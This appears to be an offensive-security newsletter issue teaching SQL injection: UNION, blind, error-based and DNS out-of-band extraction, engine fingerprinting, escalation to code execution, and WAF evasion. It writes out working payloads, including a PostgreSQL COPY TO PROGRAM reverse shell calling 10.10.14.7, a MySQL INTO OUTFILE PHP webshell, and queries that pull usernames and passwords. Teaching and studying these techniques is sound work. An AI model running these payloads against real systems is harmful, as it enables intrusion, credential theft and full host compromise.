SQL Injection Deep Dive: Blind, Out-of-Band, and Shell

9 min read

August 29, 2026

Site Updates

💬 Comments Available

Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.

🚧 Recent Migration

Migrated from Ghost to Astro. Spot any formatting issues? Report them!

SQL Injection Deep Dive: Blind, Out-of-Band, and Shell

Table of contents

Contents

👋 Introduction

Hey everyone!

Last week we watched APIs trust the fields you send them. This week the input goes somewhere far more dangerous, straight into a SQL query the app builds by pasting your string into its own logic.

Everyone knows what SQL injection is. Almost nobody wrings the primitive for everything it holds. A single quote that breaks a query is a curiosity. The same bug, worked properly, reads every table in the database, extracts data one bit at a time when the app shows you nothing, exfiltrates over DNS when there is no response channel at all, and ends in a shell on the database host. In 2023 one unauthenticated SQL injection in MOVEit Transfer let Cl0p breach thousands of organizations in weeks.

This week: UNION to read the whole database in one request, blind extraction when you can’t see output, error and out-of-band channels, the jump from SELECT to remote code execution, and getting all of it past a WAF.

Let’s get into it 👇

🧬 UNION: Reading the Database in One Request

You want the whole database, not one leaked row. When the app returns query results on the page, UNION SELECT appends your own query onto the original and prints its rows right alongside the intended ones.

Two constraints gate it. Your injected SELECT must return the same number of columns as the original, and the column you exfiltrate through has to hold the data type you want. So you find the column count first with ORDER BY n until it errors, then find a text-compatible column with a marker string.

-- 1. Column count: increment until the query errors
' ORDER BY 4-- -
-- 2. Find a column that renders text on the page
' UNION SELECT NULL,'kayssel',NULL,NULL-- -
-- 3. Pull real data through the text column
' UNION SELECT NULL,username||':'||password,NULL,NULL FROM users-- -

Once you have a text column, information_schema.tables and information_schema.columns map the entire schema so you never guess a table name. The PortSwigger SQL injection docs walk the full UNION path. The realization most people skip: the visible output channel is a luxury, and the moment it disappears, everything below still works.

🕶️ Blind: Extracting Data You Can’t See

Here is where SQL injection stops being obvious and starts being an oracle. The app returns no query output, just a different page when your condition is true versus false. That single boolean is enough to read any value in the database, character by character.

You ask the database questions it answers with its own behavior. Is the first character of the admin hash greater than m? The page renders logged-in or it doesn’t. This is the exact char-by-char extraction from Issue 42 on NoSQL injection, and binary search turns 128 guesses per character into 7.

-- Boolean-blind: response differs when the condition holds
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')>'m'-- -

When the response is identical either way, you switch clocks. A conditional delay makes the database itself the oracle, slow means true.

-- Time-based: 5s delay only when the condition is true
'; SELECT CASE WHEN (SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a')
  THEN pg_sleep(5) ELSE pg_sleep(0) END-- -

Automate the binary search with sqlmap or Ghauri and you extract a full table blind. The shift that sticks: blind SQLi is not a weaker bug, it is the same bug with a slower readout, and slowness is a scripting problem, not a wall.

📡 Error-Based and Out-of-Band Exfiltration

Blind is reliable but slow. When the app leaks database error messages, you skip the guessing entirely and make the database print your data inside its own error text.

Force a function to choke on a value it can’t process, and many engines echo that value back in the error. MySQL’s extractvalue expects valid XPath, so feeding it your target data spills the data into the error string.

-- MySQL error-based: the version lands inside the XPath error message
' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -

When there is no output and no error, you need a channel that leaves the app entirely. Out-of-band exfiltration makes the database open a connection to a host you control, smuggling data in the hostname of a DNS lookup. On MSSQL a UNC path triggers the lookup, on Oracle UTL_HTTP or a DNS function does it, and you read the stolen data straight off your DNS logs or Burp Collaborator. The insight: no visible response never means no exfiltration, it just means you route the data through a side door the app forgot it had.

🔎 Fingerprinting the Engine

Your payload is correct and it still fails, because you aimed it at the wrong database. Every engine speaks a different dialect, and a UNION that works on MySQL breaks on Oracle over syntax alone. So before extraction, you fingerprint.

The tells are small and reliable. String concatenation splits four ways: MySQL uses CONCAT(), Postgres and Oracle use ||, MSSQL uses +. Comment syntax, version functions, and the time-delay primitive all differ per engine, and one probe usually settles it.

-- Version function per engine, one of these returns a banner
' UNION SELECT @@version-- -        -- MySQL / MSSQL
' UNION SELECT version()-- -        -- PostgreSQL
' UNION SELECT banner FROM v$version-- -   -- Oracle

The PortSwigger cheat sheet is the fastest per-DBMS reference for these differences. Oracle also forces a FROM dual on every SELECT, which itself leaks the engine when a bare SELECT errors. The insight: SQL injection is not one language, it is five, and identifying the dialect turns a pile of failed payloads into a targeted one.

🐚 From Query to Shell

A database read is loud, but the real prize is code execution on the database host. Every major engine ships a path from SELECT to shell, and the PayloadsAllTheThings SQL injection collection documents each one per DBMS.

MySQL writes a webshell to disk with INTO OUTFILE when the FILE privilege and secure_file_priv allow it. MSSQL re-enables and calls xp_cmdshell to run commands directly. PostgreSQL’s COPY ... FROM PROGRAM, added in 9.3, executes shell commands as the database user.

-- PostgreSQL: run a command through COPY FROM PROGRAM
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.7/443 0>&1"'-- -
-- MySQL: drop a webshell into the web root
' UNION SELECT '<?php system($_GET[c]); ?>' INTO OUTFILE '/var/www/html/s.php'-- -

This is exactly how the MOVEit Transfer breach ran in 2023. Cl0p chained an unauthenticated SQL injection into a human2.aspx webshell, then mass-exfiltrated files from thousands of orgs. The ZDI root-cause writeup shows the sanitizer ran before URL-decoding, so an encoded quote survived and reached a second-order concatenation. The lesson that reframes triage: a “read-only” SQLi is a foothold, not a ceiling, because the database is a process on a real host with real privileges.

🧱 Getting Past the WAF

The payload is perfect and the WAF eats it. Modern SQLi work is less about the query and more about the encoding that carries it past a filter watching for keywords and quotes.

Strip what the filter keys on. No spaces means inline comments or %09/%0a as separators. No commas means SUBSTRING('x' FROM 1 FOR 1) and LIMIT 1 OFFSET 0. No equals means LIKE or BETWEEN. Case and operator swaps push OR into || and AND into &&.

-- Spaceless, comma-free, quote-free extraction through a keyword filter
'/**/UNION/**/SELECT/**/username/**/FROM/**/users/**/LIMIT/**/1/**/OFFSET/**/0-- -

PostgreSQL gives you a quote-free path that guts most quote-focused filters. Its dollar-quoted string syntax wraps a literal in doubled dollar-sign delimiters instead of quotes, so a payload that never contains a single quote sails past a filter built to catch one. The takeaway: a WAF blocks strings, not intent, and every filter you meet is a keyword list with gaps between the keywords.

📡 Community Radar

PayloadsAllTheThings: PostgreSQL dollar-quoting as WAF bypass

An August 2026 commit added PostgreSQL dollar-quoted strings as a documented WAF-bypass primitive. Wrapping a literal in doubled dollar-sign delimiters removes single quotes from the payload entirely, so a filter that only inspects for quote characters never triggers. Small addition, but a clean reminder to reach for engine-specific string syntax whenever a quote-focused filter blocks the obvious payload.

🎯 Key Takeaways

The mental model to carry out of this issue: SQL injection is not one bug with one payload, it is a spectrum of readout channels over the same primitive. Visible output gives you UNION. No output gives you a boolean or a timing oracle. No response at all gives you DNS. When you find an injection point, do not ask “does it echo the query,” ask “which channel does this one give me,” because there is almost always at least one.

Blind is not a downgrade. Boolean and time-based extraction reach every value UNION does, just slower, and slowness is what sqlmap and Ghauri exist to solve. The skill that transfers is thinking in oracles, the same char-by-char boolean extraction shows up in NoSQL, LDAP, and XS-Leaks, so once you internalize it here you carry it across every injection class.

Never treat a read-only injection as the ceiling. The database is a privileged process on a real host, and INTO OUTFILE, xp_cmdshell, and COPY FROM PROGRAM turn a query into a shell. MOVEit was one unauthenticated SQLi that became mass RCE, and the difference between “data leak” and “full compromise” was one function call.

For the workflow: results on the page, go straight to UNION and information_schema. Different responses but no output, boolean blind with binary search. Identical responses, switch to time-based. No response channel, out-of-band over DNS with Collaborator. A WAF in the way, strip spaces and quotes with comments and engine-specific syntax before you assume the point is dead. Reach for sqlmap or Ghauri to automate the extraction, and Burp Collaborator when you need an out-of-band ear.


Practice:


Thanks for reading, and happy hunting!

— Ruben

Other Issues

Mass Assignment: The Field the UI Never Shows You
Mass Assignment: The Field the UI Never Shows You

Previous Issue

Heap Exploitation: Corrupting the glibc Allocator

Next Issue

Heap Exploitation: Corrupting the glibc Allocator

Comments

Enjoyed the article?

Stay Updated & Support

Get the latest offensive security insights, hacking techniques, and cybersecurity content delivered straight to your inbox.

Follow me on social media